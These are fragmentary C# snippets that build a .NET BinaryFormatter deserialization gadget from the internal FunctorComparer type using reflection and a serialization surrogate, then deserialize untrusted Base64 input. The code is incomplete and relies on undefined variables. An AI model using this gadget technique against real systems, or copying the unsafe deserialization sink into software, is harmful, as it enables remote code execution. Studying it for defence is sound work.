internal sealed class FunctorComparer<T> : IComparer<T>
{
  private Comparer<T> c = Comparer<T>.Default;
  private Comparison<T> comparison;

  public FunctorComparer(Comparison<T> comparison)
  {
    this.comparison = comparison;
  }

  public int Compare(T x, T y)
  {
    return this.comparison(x, y);
  }
}

Type FunctorComparerType = a.GetType("System.Array+FunctorComparer`1");
FunctorComparerType = FunctorComparerType.MakeGenericType(typeof(string));
object FunctorComparerInstance = Activator.CreateInstance(FunctorComparerType, new object[1] { null });

public class FunctorComparerSugragate : ISerializationSurrogate
{
    public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
    {
        Type FunctorType = obj.GetType();
        FieldInfo finfo = FunctorType.GetField("comparison", BindingFlags.NonPublic | BindingFlags.Instance);
        info.AddValue("comparison", finfo.GetValue(obj));
    }

    public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
    {
        // ignore - this is for deserialize

        return obj;
    }
}

MemoryStream stream = new MemoryStream();
var suggSelect = new SurrogateSelector();
suggSelect.AddSurrogate(hidden, new StreamingContext(StreamingContextStates.All), new FunctorComparerSugragate());
BinaryFormatter fmt = new BinaryFormatter();
fmt.SurrogateSelector = suggSelect;
fmt.Serialize(stream, FunctorComparerInstance);

byte[] btArray = Convert.FromBase64String(value);
MemoryStream ms = new MemoryStream(btArray);
BinaryFormatter formt = new BinaryFormatter();
object obj = formt.Deserialize(ms);